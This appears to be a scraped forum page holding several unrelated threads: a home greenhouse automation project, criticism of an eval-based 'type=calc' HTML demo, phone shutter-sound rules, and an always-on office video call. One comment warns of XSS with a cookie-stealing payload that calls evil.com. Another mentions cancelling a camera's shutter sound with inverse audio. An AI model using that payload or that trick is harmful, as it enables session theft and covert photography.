1. 8

    I’m building this kind of greenhouse automation system to monitor my plants at home and maintain appropriate conditions throughout the winter (by turning on/off some of the electric heaters, ventilation, light, sending email alerts when things get too much out of range). It’s all PHP, which is not sexy - but it works - and a few python or bash scripts running on the Raspberry Pi machines that are scattered in the rooms.

    My goal is to eventually use machine learning to give advice on when to water the plants (and eventually do it automatically). For now, I manually record the watering times until I have enough data to use. For now, it seems like dirt colour (the system also takes regular pictures of the plants) is a rather good indicator, but not good enough.

    The clean, server-side parts of the code are here.

    1. 6

      Awesome project! I’ve done this at an industrial scale for multi million dollar greenhouses at my previous job. I initiated and developed with our team a system then called Cortex now called HelioCORE ( http://info.heliospectra.com/heliocore ). It was a modular system which had an easily extendable frontend and backend, all our own features were built a independent modules in the same way so the extensions would be first class citizens. We built it in Python3 with a react frontend but you could pretty much build the modules in anything that speaks http, the core module would broker the connection to hardware using multicasting, udp, broadcasting, plc, modbus, etc through a simple http/websocket JSON-API. We also used some quite sophisticated algorithms which learned to recognize i.e. at what times the sun would pass by beams in the structure etc.

      Was great fun and very exciting to work with something so tangible.

      1. 2

        Thanks! My system is flexible enough that I was able to add (in the private part of it) things like my weight (from a connected scale) the times I leave/come back from work, presence of my bike in front of the house, or getting intrusion alerts, stuff like that, not very useful but interesting to do.

        For the important data though, temperature/light/humidity mostly, I’m struggling to find adequate sensors, good parts of my space are far from electric outlets so I tried to go with battery-powered BLE sensors, but most of those I tried aren’t as precise, long-lived and easy to configure as I’d like. But I guess real professional greenhouses are already wired so this wouldn’t be an issue for you?

        1. 1

          Yeah they usually have sensor speaking through some modbus or PLC system which we interfaced with through an industrial pc. We also built some sensors ourself using grade A sensor hardware and arduinos for communication.

    1. 7

      Your demo is vulnerable to XSS.

      If Math.max works, does alert(1) work? What about fetch('http://evil.com/?'+document.cookie)?

      Historically everyone trying to write a JavaScript sandbox without vulnerabilities failed. What’s your plan?

      1. 7

        Yes, this is more like a type=“eval” than anything else.

        1. 3

          My plan is not to hide behind any pretence of implementing it in a ‘more secure’ way at all! It is exactly what it looks like, and it should be very easy for people to read and understand :D

          1. 3

            I think a proper parser would be sufficient.

            1. 3

              Isn’t that “self-XSS”? The user themselves have to change the field… so, they presumably already have access to the page? (And if you’re changing via JS then you already have JS access to the page?)

              1. 3

                Come on guys!

                This is a proof-of-concept. Not a polyfill. Not a production-ready library. Sure it’s vulnerable to some attacks, but that’s because it’s an experiment (see the title: Dreaming of type=“calc”).

                If it were ever implemented in major browsers, it would not be a JS solution, and would be properly sandboxed. Can we get past all that and just discuss the pros/cons of having this feature in native HTML?

              1. 4

                This is nominally a technical subject, but there’s really no reason to link to it except the discussion of various countries' policies about, yes, upskirt photography and other non-consensual pictures. As such, I voted that it’s off-topic.

                1. 12

                  The interesting part is the first accepted answer.

                  Playing the inverse sound when taking the picture cancels out the shutter sound and defeats the intended limitation.

                  1. 4

                    Huh. I admit that’s a really cute trick.

                1. 8

                  I’ve never been a fan of keeping actual written records (because they always end up too bothersome to read) but in the past we have used a continually running videoconference at the coffee place of the office (running on a laptop with a fisheye lens over the webcam and with the sound on).

                  Remote workers could keep it in a corner of their screen or just run the audio as a background at their place and intervene if they had something to say. Or not run it at all if they didn’t want to.

                  I really liked it, it’s not intrusive, easy and prevents you from feeling cut off from the office.

                  1. 2

                    interesting, if a bit bandwidth intensive for some situations.

                    1. 1

                      You say this was in the past - I’m curious why didn’t it continue?

                      I wanted to do something like this at a past job, where we had four satellite offices and I wished I could’ve stopped by the break room at the other three occasionally. At the current place, everyone’s remote so I’m not sure it’d work as well.

                      1. 2

                        I left the company and since that was a few years ago I can’t really be sure they still do the same, that’s why I said “in the past”.

                        I don’t remember any drawbacks, really.